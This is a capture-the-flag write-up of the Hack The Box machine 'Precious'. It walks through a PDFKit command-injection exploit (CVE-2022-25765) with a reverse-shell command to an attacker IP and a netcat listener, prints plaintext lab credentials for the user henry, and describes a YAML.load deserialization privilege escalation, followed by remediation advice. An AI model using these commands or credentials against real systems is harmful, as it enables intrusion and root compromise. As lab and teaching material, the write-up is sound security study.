Precious writeup

Precious writeup

Box name: Precious

Difficulty: Easy

OS: Linux

Overview: Precious is an Easy Difficulty Linux machine, that focuses on the Ruby language. It hosts a custom Ruby web application, using an outdated library, namely pdfkit, which is vulnerable to CVE-2022-25765, leading to an initial shell on the target machine. After a pivot using plaintext credentials that are found in a Gem repository config file, the box concludes with an insecure deserialization attack on a custom, outdated, Ruby script.

Link: https://app.hackthebox.com/machines/Precious?sort_by=created_at&sort_type=desc

Machine IP: 10.129.228.98

Ran rustscan against the target.

rustscan -a 10.129.228.98 –ulimit 5000 -b 500 — -A -Pn

Added precious.htb to /etc/hosts. It’s an nginx server. Navigated to the site and it looks like we can fetch a URL that changes a web page to PDF.

No source code. I set up an http server and it can in fact hit us.

sudo python3 -m http.server 8000

I tried http:127.0.0.1 to see if it would fetch anything from it self but that doesn’t work. In the meantime I’ll run feroxbuster.

feroxbuster -u http://precious.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion -t 50 -d 4 –filter-status 404,400

I created a test.txt and it converted that to a pdf as well.

I captured a request to see if I could find out what type of converting it’s using.

It’s using Ruby. From research it looks like this may be using PDFKit and found a CVE, CVE-2022-25765. From this we could get RCE if the URLs are unsanitized. I found this https://github.com/UNICORDev/exploit-CVE-2022-25765. Set up a listener.

Nc -lvnp 1337

Downloaded code and ran it.

python3 CVE-2022-25765.py -s 10.10.16.27 1337 -w http://precious.htb -p url

And we got a shell. Stabilized shell.

Did local enumeration on the webroot but couldn’t find anything. In /home I notice another user henry with user.txt but we don’t have permission to read it. Further local enumeration I found a local port open 36515.

Netstat -atnp

I poked at this for a while but couldn’t find much yet. Continued further and I ended up finding a config file that has henry’s credentials.

henry:Q3c1AqGHtoI0aXAYFH

I was able to successfully ssh in with these creds.

ssh henry@precious.htb

Grabbed user.txt. Ran sudo -l and we find out next privesc.

Sudo -l

Read the file.

Did research and it appears YAML.load is vulnerable https://techbrunch.github.io/patt-mkdocs/Insecure%20Deserialization/Ruby/#marshalload. Working off of that exploitation code I worked to create exploitation code to get a shell callback.

Ran the script.

And we got a shell and grabbed root.txt.

GG

Attack Chain

1 – Reconnaissance
Ran RustScan and identified ports 22 (SSH) and 80 (HTTP). Added precious.htb to /etc/hosts. Browsed to the site and found a Ruby web application that converted user-supplied URLs to PDF. Confirmed outbound connectivity by pointing the converter at a local HTTP server. Ran feroxbuster while exploring. Captured a conversion request in Burp and confirmed the application was using PDFKit.

rustscan -a 10.129.228.98 –ulimit 5000 -b 500 — -A -Pn
feroxbuster -u http://precious.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion

2 – Initial Access – PDFKit RCE – CVE-2022-25765
Identified the application was using PDFKit and researched the version. Found CVE-2022-25765, a command injection vulnerability in PDFKit caused by unsanitized URL parameters. Used a public exploit to inject a reverse shell payload via the URL parameter and caught a shell as the ruby user.

python3 CVE-2022-25765.py -s 10.10.16.27 1337 -w http://precious.htb -p url

3 – Credential discovery and lateral movement
Stabilized the shell and enumerated the filesystem. Found a Gem repository config file containing plaintext credentials for henry. SSH’d in as henry and retrieved user.txt.

Credentials recovered: henry:Q3c1AqGHtoI0aXAYFH

4 – Privilege Escalation – Ruby YAML.load insecure deserialization
Ran sudo -l and found henry could run a custom Ruby script as root. Read the script and identified it used YAML.load which is vulnerable to insecure deserialization in Ruby, allowing arbitrary object instantiation and code execution. Crafted a malicious YAML payload that triggered a reverse shell callback when deserialized and ran the script via sudo. Caught a root shell and retrieved root.txt.


Key Takeaways

  1. PDFKit command injection via unsanitized URL – CVE-2022-25765 (CVSS 9.8 Critical) – The PDFKit version used by the application passed user-supplied URL parameters to the underlying shell command without sanitization, allowing arbitrary command injection. Libraries that process user input and interact with the OS must be kept fully patched and all user-supplied values must be sanitized before use in system calls.
  2. Plaintext credentials in a Gem config file – Henry’s SSH credentials were stored in plaintext in a Ruby Gem repository configuration file accessible after gaining a foothold as the web application user. Configuration files containing credentials must be stored with permissions restricting access to the owning user only and credentials must be managed through a secrets manager rather than stored in plaintext.
  3. YAML.load insecure deserialization in a sudo script – The custom Ruby script used YAML.load which instantiates arbitrary Ruby objects from the deserialized input, enabling code execution when a crafted payload is supplied. YAML deserialization must use YAML.safe_load which restricts instantiation to permitted types only. Scripts using unsafe deserialization must never be executed with elevated privileges.
  4. Sudo rule granting access to a vulnerable custom script – Henry could run the vulnerable Ruby script as root, providing a direct path from a standard user to full root access via a single deserialization payload. Custom scripts must undergo a security review before being added to sudoers and must be tested against known injection and deserialization attack techniques.
  5. Weak credential storage pattern across the Ruby application stack – Credentials were found in a config file associated with the Ruby Gem toolchain, a location frequently overlooked during security audits. All Ruby application directories including Gem configuration, bundle configuration, and application config files must be audited for credential material after any system compromise.

Remediation

[Immediate] Patch PDFKit to remediate CVE-2022-25765 (CVSS 9.8 Critical)
Update PDFKit to the latest patched version immediately. Implement strict input validation on the URL parameter rejecting any value containing shell metacharacters. Process all user-supplied URLs through a URL parsing library rather than passing them directly to system commands. Deploy a WAF rule to detect command injection patterns in URL parameters.

[Immediate] Replace YAML.load with YAML.safe_load in the sudo script
Rewrite the script to use YAML.safe_load which restricts deserialization to basic Ruby types and prevents arbitrary object instantiation. Conduct a full audit of all Ruby scripts across the application stack for YAML.load usage and replace all instances. Remove the sudo rule until the fix is deployed and reviewed.

[Immediate] Restrict Gem config file permissions and rotate henry’s credentials
Set the Gem configuration file containing credentials to mode 600 owned by the application service account. Rotate henry’s SSH password immediately. Audit all Ruby application directories for plaintext credential files and migrate any findings to environment variables or a secrets management solution.

[Short-term] Audit all sudo rules for custom scripts
Review every custom script in the sudoers configuration for unsafe functions including YAML.load, Marshal.load, eval, and system calls with user-controlled input. Require a security review and sign-off before any custom script is added to sudoers. Test all existing sudo scripts against known injection and deserialization payloads.

[Long-term] Implement a Ruby application security baseline
Define a hardening standard for all Ruby applications covering dependency patch management, safe deserialization practices, credential storage, config file permissions, and sudo script review requirements. Integrate dependency auditing using bundler-audit into the CI/CD pipeline to detect vulnerable gems before deployment. Include all Ruby applications and scripts in the regular penetration testing scope.

Leave a comment